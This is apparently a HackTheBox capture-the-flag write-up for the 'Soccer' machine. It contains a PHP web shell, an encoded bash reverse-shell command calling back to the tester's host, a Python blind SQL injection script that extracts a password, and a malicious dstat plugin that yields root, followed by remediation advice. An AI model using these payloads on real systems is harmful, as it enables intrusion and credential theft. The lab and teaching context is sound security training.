Soccer

Platform : HackTheBox
Type : boot2root
Difficulty : ⭐⭐☆☆☆

Table of contents

Reconnaissance

Nmap scan

# Nmap 7.94SVN scan initiated Fri Feb 23 10:57:42 2024 as: nmap -A -p- -T5 -v -oN nmapResults.txt 10.129.155.184
Warning: 10.129.155.184 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.129.155.184
Host is up (0.034s latency).
Not shown: 63943 closed tcp ports (conn-refused), 1589 filtered tcp ports (no-response)
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
|   256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
|_  256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
9091/tcp open  xmltec-xmlmail?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 139
|     Date: Fri, 23 Feb 2024 15:58:49 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot GET /</pre>
|     </body>
|     </html>
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Fri, 23 Feb 2024 15:58:49 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.94SVN%I=7%D=2/23%Time=65D8C0B4%P=x86_64-pc-linux-gnu%r
SF:(informix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20clos
SF:e\r\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection
SF::\x20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found
SF:\r\nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type
SF:-Options:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\
SF:nContent-Length:\x20139\r\nDate:\x20Fri,\x2023\x20Feb\x202024\x2015:58:
SF:49\x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20l
SF:ang=\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\
SF:n</head>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r
SF:(HTTPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-
SF:Policy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\
SF:r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x201
SF:43\r\nDate:\x20Fri,\x2023\x20Feb\x202024\x2015:58:49\x20GMT\r\nConnecti
SF:on:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n
SF:<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pr
SF:e>Cannot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,
SF:"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20defaul
SF:t-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\
SF:x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Fr
SF:i,\x2023\x20Feb\x202024\x2015:58:49\x20GMT\r\nConnection:\x20close\r\n\
SF:r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=
SF:\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIO
SF:NS\x20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20
SF:Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP
SF:,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n
SF:")%r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConn
SF:ection:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Reques
SF:t\r\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x2040
SF:0\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Feb 23 10:58:52 2024 -- 1 IP address (1 host up) scanned in 70.12 seconds

There is a web server on port 80 running nginx 1.18.0. It redirects us to soccer.htb, so we found a virtual host. We can add it to our /etc/hosts file (or C:/Windows/System32/drivers/etc/hosts on Windows systems).

Web reconnaissance

Let’s take a look at the web server on port 80 using a web browser :

Nothing seems to be interesting here. Let’s use ffuf to fuzz directories :

┌──(kali㉿kali)-[~/Desktop/Soccer]
└─$ ffuf -u http://soccer.htb/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 6917

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://soccer.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 6917
________________________________________________

tiny                    [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 36ms]

We found a directory named tiny. Let’s take a look at it using our web browser :

This is the login page for Tiny File Manager.

TinyFileManager is web based PHP file manager and it is a simple, fast and small size in single-file PHP file that can be dropped into any folder on your server, multi-language ready web application for storing, uploading, editing and managing files and folders online via web browser.

If we find a way to gain access to this component, we may be able to upload a PHP web shell (or reverse shell).

Initial access

First, we can try to use the default credentials for Tiny File Manager. According to the README.md file present in the official GitHub repository, the default credentials are admin:admin@123. If we enter those credentials, we are redirected to this page :

So, we have now access to Tiny File Manager. We can see the current version at the bottom of the page which is 2.4.3. If we navigate in this tiny folder, we can find an upload folder on which we have read, write and execute permissions :

We can navigate to the uploads directory and upload a web shell inside of it. First, we can create a very simple web shell :

┌──(kali㉿kali)-[~/Desktop/Soccer]
└─$ cat shell.php      
<?php system($_GET['cmd']);?>

This PHP code will simply pass the cmd variable passed in the URL to the system function. The system function is used to run OS commands on the server. After uploading the php web shell, we can execute a reverse shell like so :

┌──(kali㉿kali)-[~/Desktop/Soccer]
└─$ curl 'http://soccer.htb/tiny/uploads/shell.php?cmd=echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC43MS80NDQ0IDA%2BJjE%3D|base64%20-d|bash'

Now, let’s take a look at our listener :

┌──(kali㉿kali)-[~/Desktop/Soccer]
└─$ pwncat-cs -lp 4444
/home/kali/.local/lib/python3.11/site-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated
  'class': algorithms.Blowfish,
[11:03:56] Welcome to pwncat 🐈!                                                                                  __main__.py:164
[11:08:55] received connection from 10.129.2.212:53460                                                                 bind.py:84
[11:08:56] 10.129.2.212:53460: registered new host w/ db                                                           manager.py:957
(local) pwncat$                                                                                                                  
(remote) www-data@soccer:/var/www/html/tiny/uploads$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

We have now a foothold on the system as www-data.

Post-exploitation

Local reconnaissance

Let’s take a look at the /etc/passwd file :

(remote) www-data@soccer:/var/www/html/tiny/uploads$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:112:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
player:x:1001:1001::/home/player:/bin/bash
mysql:x:113:121:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:997:997::/var/log/laurel:/bin/false

We can see that there is a local user named player, and his home directory is located in /home/player. We don’t have write permissions on his home directory and we cannot read any file in it. Let’s take a look at the listening ports to see if there is useful services accessible locally :

(remote) www-data@soccer:/var/www/html/tiny/uploads$ netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:9091            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1034/nginx: worker  
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      1034/nginx: worker  
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -

It seems that there is MySQL running on the system since port 3306 is listening, but we don’t have valid credentials for this service. Also, there is another service running on port 3000. We can use curl to see if this is an HTTP service :

(remote) www-data@soccer:/var/www/html/tiny/uploads$ curl http://localhost:3000/
<!DOCTYPE html>
<SNIP>
                <a class="nav-link active" aria-current="page" href="/">Home</a>
            </div>
            <div class="navbar-nav">
                <a class="nav-link active" aria-current="page" href="/match">Match</a>
            </div>
            
            
                <div class="navbar-nav">
                    <a class="nav-link active" aria-current="page" href="/login">Login</a>
                </div>
                <div class="navbar-nav">
                    <a class="nav-link active" aria-current="page" href="/signup">Signup</a>
                </div>
<SNIP>

This is not the same web application as we used to gain a foothold on the system. By looking at nginx configuration files, we can see that this web application is accessible through the soc-player.soccer.htb virtual host :

(remote) www-data@soccer:/var/www/html/tiny/uploads$ ls /etc/nginx/sites-available/               
default  soc-player.htb
(remote) www-data@soccer:/var/www/html/tiny/uploads$ cat /etc/nginx/sites-available/soc-player.htb 
server {
        listen 80;
        listen [::]:80;

        server_name soc-player.soccer.htb;

        root /root/app/views;

        location / {
                proxy_pass http://localhost:3000;
                proxy_http_version 1.1;
                proxy_set_header Upgrade $http_upgrade;
                proxy_set_header Connection 'upgrade';
                proxy_set_header Host $host;
                proxy_cache_bypass $http_upgrade;
        }

}

We can add this virtual host to our /etc/hosts file to access it from our attacking host. Now let’s take a look at this web application using our web browser :

This web applications looks like the one we used to gain a foothold, but if we take a look at the navigation bar, we can see that there is more pages available. It seems we can create an account and sign in to the web application. Let’s click on Signup and create an account :

Now, we can login to the web application :

After logging in, we are reditected to this web page :

As you can see, we are redirected to a page that asks us for a ticket number. We can use BurpSuite to capture the request sent when entering a ticket number to see how the value is sent to the web server :

The ticket number is sent in a Json variable named id to a websocket server on port 9091. We can check if it is vulnerable to an SQL injection.

Privilege escalation (player)

If we enter the ticket number provided by the web application, we receive « Ticket exists », if not, we receive « Ticket Doesn’t Exist ». But if we try to enter an operation like 70904+1 (since my ticket number is 70905), we receive a valid ticket message :

So, the operation is interpreted. This is a sign that it may be vulnerable to SQL injections since SQL can interpret operations like the one above. Since it only respond with « valid » or « invalid » response, it may be vulnerable to boolean based blind SQL injections.

Let’s check if it’s vulnerable to boolean based blind SQL injection :

  • 0 OR 1; returns « Ticket Exists”
  • 0 OR 0; returns « Ticket Doesn’t Exist »

So, it is vulnerable to boolean based blind SQL injections. Let’s try to enumerate tables. Since we can create an account an login to the web application, there must be an accounts table or a user table :

  • 0 OR EXISTS (SELECT table_name FROM information_schema.tables WHERE table_name = 'aaaaaaaaaaa'); → « Ticket Doesn’t Exist »
  • 0 OR EXISTS (SELECT table_name FROM information_schema.tables WHERE table_name = 'accounts'); → « Ticket Exists”

There is a table named accounts. Let’s enumerate columns from this table :

  • 0 OR EXISTS (SELECT column_name FROM information_schema.columns WHERE column_name = 'password' AND TABLE_NAME = 'aaaaaaaaaaaaa'); → « Ticket Doesn’t Exist »
  • 0 OR EXISTS (SELECT column_name FROM information_schema.columns WHERE column_name = 'password' AND TABLE_NAME = 'accounts'); → « Ticket Exists »
  • 0 OR EXISTS (SELECT column_name FROM information_schema.columns WHERE column_name = 'username' AND TABLE_NAME = 'accounts'); → « Ticket Exists”

We found the password column and the username column, let’s see if the player user created an account on the web application :

  • 0 OR EXISTS (SELECT username FROM accounts WHERE username = 'aaaaaaaaa'); → « Ticket Doesn’t Exist »
  • 0 OR EXISTS (SELECT username FROM accounts WHERE username = 'player'); → « Ticket Exists”

It seems that the player user has an account on the web application. Let’s get his password by bruteforcing each characters :

  • 0 OR EXISTS (SELECT password FROM accounts WHERE username = 'player' AND BINARY SUBSTRING(password,1,1) = 'a'); → « Ticket Doesn’t Exist »
  • 0 OR EXISTS (SELECT password FROM accounts WHERE username = 'player' AND BINARY SUBSTRING(password,1,1) = 'b'); → « Ticket Doesn’t Exist »

Alternatively, We can write a python script to find the password faster :

from websocket import create_connection
import string

ws = create_connection("ws://soc-player.soccer.htb:9091/")
charset = string.ascii_lowercase + string.ascii_uppercase + string.digits

def brute():
    password = ""
    while True:
        for i in range(len(charset)):
            payload = '''{"id":"1 OR EXISTS(SELECT password FROM accounts WHERE username = \\"player\\" AND BINARY SUBSTR(password,'''
            payload += "{},1) = ".format(len(password) + 1)
            payload += "'{}')-- -".format(charset[i])
            payload += "\"}"
            print("Using payload :",payload)
            ws.send(payload)
            result = ws.recv()
            if result == "Ticket Exists":
                password = password + charset[i]
                
                #Test if end of password reached
                inject = '''{"id":"1 OR EXISTS(SELECT password FROM accounts WHERE username = \\"player\\" AND password = \\"'''
                inject += password + '''\\")-- -"}'''
                ws.send(inject)
                result = ws.recv()
                if result == "Ticket Exists":
                    print("Password found :",password)
                    return
                break

brute()

Let’s run this script to brute the password automatically :

┌─[cyberretta@parrot]─[~]
└──╼ $python3 sqli.py 
Using payload : {"id":"1 OR EXISTS(SELECT password FROM accounts WHERE username = \"player\" AND BINARY SUBSTR(password,1,1) = 'a')-- -"}
Using payload : {"id":"1 OR EXISTS(SELECT password FROM accounts WHERE username = \"player\" AND BINARY SUBSTR(password,1,1) = 'b')-- -"}
<SNIP>
Using payload : {"id":"1 OR EXISTS(SELECT password FROM accounts WHERE username = \"player\" AND BINARY SUBSTR(password,20,1) = '2')-- -"}
Password found : PlayerOftheMatch2022

We found the password of player user account. If this user used the same password for his local user account, we can escalate our privileges to this user :

(remote) www-data@soccer:/var/www/html/tiny/uploads$ su player
Password: 
player@soccer:/var/www/html/tiny/uploads$ id
uid=1001(player) gid=1001(player) groups=1001(player)

We have now a shell as player.

Privilege escalation (root)

Let’s see if there is any interesting binaries with the SUID bit enabled :

player@soccer:/var/www/html/tiny/uploads$ find / -type f -perm -4000 2>/dev/null
/usr/local/bin/doas
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/bin/umount
/usr/bin/fusermount
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/at
/snap/snapd/17883/usr/lib/snapd/snap-confine
/snap/core20/1695/usr/bin/chfn
/snap/core20/1695/usr/bin/chsh
/snap/core20/1695/usr/bin/gpasswd
/snap/core20/1695/usr/bin/mount
/snap/core20/1695/usr/bin/newgrp
/snap/core20/1695/usr/bin/passwd
/snap/core20/1695/usr/bin/su
/snap/core20/1695/usr/bin/sudo
/snap/core20/1695/usr/bin/umount
/snap/core20/1695/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1695/usr/lib/openssh/ssh-keysign

As we can see, doas is installed on the system. We can take a look at the configuration file of doas to see if we can run any binaries as root :

player@soccer:/var/www/html/tiny/uploads$ find / -type f -name "doas.conf" 2>/dev/null
/usr/local/etc/doas.conf
player@soccer:/var/www/html/tiny/uploads$ cat /usr/local/etc/doas.conf 
permit nopass player as root cmd /usr/bin/dstat

We can run dstat as root without password.

Dstat is a versatile replacement for vmstat, iostat and ifstat. Dstat overcomes some of the limitations and adds some extra features.

Dstat allows you to view all of your system resources instantly, you can eg. compare disk usage in combination with interrupts from your IDE controller, or compare the network bandwidth numbers directly with the disk throughput (in the same interval).

Dstat can run python plugins. We may be able to create a malicious python script and run it thought dstat as root to gain a shell as root. According to the dstat manual, we can create a custom python plugin in the following locations :

FILES
       Paths that may contain external dstat_*.py plugins:

           ~/.dstat/
           (path of binary)/plugins/
           /usr/share/dstat/
           /usr/local/share/dstat/

If we take a look at the last path, we can see that it is writable by the player user :

player@soccer:/var/www/html/tiny/uploads$ ls -la /usr/local/share/dstat/
total 8
drwxrwx--- 2 root player 4096 Dec 12  2022 .
drwxr-xr-x 6 root root   4096 Nov 17  2022 ..

Now, let’s create the malicious python script and execute it through dstat :

player@soccer:/var/www/html/tiny/uploads$ echo 'import os; os.execv("/bin/sh", ["sh"])' > /usr/local/share/dstat/dstat_exploit.py
player@soccer:/var/www/html/tiny/uploads$ doas -u root /usr/bin/dstat --exploit
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
# id
uid=0(root) gid=0(root) groups=0(root)
#

We have now a shell as root !

Clearing tracks

StepTracks to remove
Initial access– Remove shell.php from /var/www/html/tiny/uploads
Post-Exploitation – Privilege escalation (root)– Remove dstat_exploit.py from /usr/local/share/dstat/

Vulnerability summary

Default credentials

FieldValue
Affected componentTiny File Manager
CVSS 3.0 score9.8 (Critical)
CVSS 3.0 vectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
ImpactAllows an attacker to access the Tiny File Manager and upload a malicious PHP file to gain a foothold on the system as www-data.

This has a high impact on the confidentialityintegrity and availability of the affected component.
Remediation propositionChange the default credentials (for both admin and user account) and use a strong password.

Web server misconfiguration

FieldValue
Affected componentNginx
CVSS 3.0 score8.8 (High)
CVSS 3.0 vectorAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
ImpactIf an attacker gains access to Tiny File Manager, he is able to upload a webshell in the uploads directory and gain a foothold on the system as www-data.

This has a high impact on the confidentialityintegrity and availability of the affected component.
Remediation propositionEither blacklist PHP files from the upload functionality, or change the nginx configuration to disable execution of PHP files in the /uploads directory.

Structured Query Language injection

FieldValue
Affected componentWebsocket server
CVSS 3.0 score7.5 (High)
CVSS 3.0 vectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
ImpactAllows an attacker to injecte arbitrary SQL code and retrieve data from the MySQL databases.

This has a high impact on the confidentiality of the affected component.
Remediation proposition– Use prepared queries
– Sanitize data sent in the id parameter to the websocket
– You could also set up a WAF to detect and block malicious traffic such as SQL injection attempts

Clear-text credentials

FieldValue
Affected componentMySQL database
CVSS 3.0 score7.5 (High)
CVSS 3.0 vectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
ImpactIf an attacker has access to the database, he is able to read clear text passwords.

This has a high impact on the confidentiality of the affected component.
Remediation propositionDon’t store clear-text passwords. Instead, store hashes using strong algorithm like Argon 2, Bcrypt or Scrypt.

Improper access control

FieldValue
Affected componentLocal system
CVSS 3.0 score8.4 (High)
CVSS 3.0 vectorAV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
ImpactIf an attacker gains access to the player user account, he can write malicious python scripts in the dstat plugin directory. Since player user can run dstat as root, an attacker can leverage this to execute arbitrary code as root and gain access to the entire system.

This has a high impact on the confidentialityintegrity and availability of the affected component.
Remediation propositionChange the group of /usr/local/share/dstat from player to root. This way, player user cannot run arbitrary python code as root.

Tools used

ToolPurpose
nmap– Scan for open ports
– Scan for services versions
pwncat-cs– Handle reverse shell connection
BurpSuite– Capture and edit web requests

Sources

Retour en haut